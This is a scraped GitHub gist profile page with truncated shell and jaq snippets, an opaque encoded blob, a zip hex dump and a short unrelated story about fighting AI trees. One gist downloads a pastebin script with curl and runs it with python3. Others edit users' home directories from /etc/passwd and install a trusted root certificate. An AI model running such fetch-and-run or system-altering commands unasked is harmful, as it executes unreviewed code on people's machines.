Skip to content

Instantly share code, notes, and snippets.

View gabrielfalcao's full-sized avatar

Gabriel Falcão gabrielfalcao

View GitHub Profile
@gabrielfalcao
gabrielfalcao / README.md
Last active May 3, 2026 00:52
Using the wonderful tool "jaq" to perform "jq-like" operatoins in a Cargo.lock file

do youself a solid and replace jq with jaq

WHY?

Because jaq functions the same as jq while supporting the same feature set for yaml, toml and many other serialization formats which makes it awesome.

And because jaq's author is a badass computer scientist.

grep -E git /etc/passwd | gawk '{ delete parts; split($0, parts, ":"); owner=parts[1]; home=parts[6]; printf("cp -fav ~/.bashrc %s/.bashrc && chown -vR %s:%s \"%s\";\n", home, owner, owner, home)
}'
@gabrielfalcao
gabrielfalcao / pyproject.toml.jaq
Last active April 20, 2026 09:14
using https://crates.io/crates/jaq to extract dependencies from pyproject.toml #jaq
jaq -r '.project.dependencies[] | match("(?<package>[a-zA-Z_-]+[a-zA-Z0-9_-]*)(?<features>.*?)(?<boolean_op>[<=>]+)(?<version>[0-9a-zA-Z._-]+)$") | .captures | map_values({key:.name,value:.string}) | from_entries' pyproject.toml | jaq -s
#!/usr/bin/env bash
set -umeTE
set +f
set -o pipefail
export IFS=$'\n'
declare -a owner_slash_repo_list=()
declare -a github_repo_urls_to_clone=(
bash -c 'declare my_arr=( item{1..9});declare -i pos_last=$(( ${#my_arr[@]} - 1 ));echo ${my_arr[@]@A}; echo ${pos_last@A};until [ ${#my_arr[@]} -eq 0 ]; do pos_last=$(( ${#my_arr[@]} - 1 ));echo ${my_arr[@]@A}; echo ${pos_last@A}; set -v;my_arr=(${my_arr[@]:0:${pos_last}});set +v;echo ${my_arr[@]@A}; echo ${pos_last@A};done;'
@gabrielfalcao
gabrielfalcao / install-dod-certificate.sh
Created November 21, 2025 18:21
automatically download, install and trust DoD Root certificate on MacOS
#!/usr/bin/env bash
set -e
set -o pipefail
set -u
export IFS=$'\n'
unset IFS
declare -- cert_filename="DoD-Root-CA-3.cer"
declare -A cert_checksums=(
#!/usr/bin/env bash
set -e
set -o pipefail
set -o noglob
set -u
export IFS=$'\n'
for url in $(jq -r '.dependencies as $k |.devDependencies as $d| ($k|keys) + ($d|keys) | .[] ' package.json | grep -E '(webpack-plugin|[-]loader)' | sed -E 's/^([a-z][a-z0-9-]+)$/https:\/\/www.npmjs.com\/package\/\1/g'); do
open "${url}"
@gabrielfalcao
gabrielfalcao / com.pastebin.sh
Created October 8, 2025 23:37
/Td6WFoAAATm1rRGBMCwArQEIQEWAAAAAAAAABHHDj7gAjMBKF0AEYhCR4ojM8N3DzP9VZftp8fw6ipDNsovgjPu1IUWQx0JF0w9oTEFIm4c0qIsDcxta/aixhrk29Cn79w3JYHYkRvv3Y3K9y8dej1siGdRYzfAQznAHSNc6l0bTBVMLPEHkU7g5TPAJtqtvw4pR+DRjNZYMSeqVvDLN5klQYGlP9NdzEMYW5EvY6GjyyqTY9qBTf47+TlF9Vivc6+EHvJHeP+Cex5f8aprDEQbTEsjPJtY1C8mLDEeTWsGgik2ukp44jT9fMB0QrqitQ3SYa5fk2Il70IBmHIuwGNjsOv…
#!/usr/bin/env bash
set -e
set -o pipefail
curl "https://pastebin.com/raw/B15TaSGE" -o code_points.py
python3 code_points.py
504b0304140000000800f2b3d15a4c5f20d87b010000330300000a001c00436172676f2e746f6d6c5554090003f7165268d552816875780b000104f501000004140000007d523d4fc33010ddfd2b22cfc449d376281203121d1858105b5421d7be12ab8e6d6ca78010ff9db3dba2a640279fdebdf7eec3d73a2eb6fc0556c4f01e8a9b82fa21c4920fd10adb3b0d1128d9810fca9a94ad59cd26944808c22b170fe82f4d8141cf8d2cb53268e081cbbdfbe3f2f6ee61c97a4949677b70583ac15d8c2e5c5795f03c4260ca1ea2ea8f6eb4126042963ddc3f5102521dfb68ea069b4b7478e7891f10dd701d20836b30a23bc10869b55a8f477f1e17733c762915bca890cb7ca084482bb0b7f8e3937d4f5ddbb532ab8b2b3dfab24a68955d2f9b62f6271ed1482bc18191c85610564468ee30f9599c7cda8ccdd9aca657c506781c7cde404b2578b5034429985d7a42f4cabca468304a5899736f9ebbe70eb4a3abe28b281cc1e799a67808539cc35b51f65c78db9c579d2063313faf1a1c37a5b682a73f0bd9f475b0118e0aec9304f012feb26b268b7fa6483ee1c39c8b9a74aef5f45cb419b43e4a2288b44d3a6748a6799fbb72bcd3ed627ffa93ccf806504b03040a0000000000caacd15a00000000000000000000000006001c0074657374732f55540900037c0a52687d0f526875780b000104f5010000041400000050
It starts with Monte-carlo binary trees depicted as willow trees representing adversarial artificial neural networks where each neural net is a tree. There are three trees, owned by the companies: Google, Amazon and Apple (respectively). The trees emit shimmering photons against each other where such lights represent information being transfered between trees. From there until the end, the three trees fight each other with attacks where information is both the attack and the defence.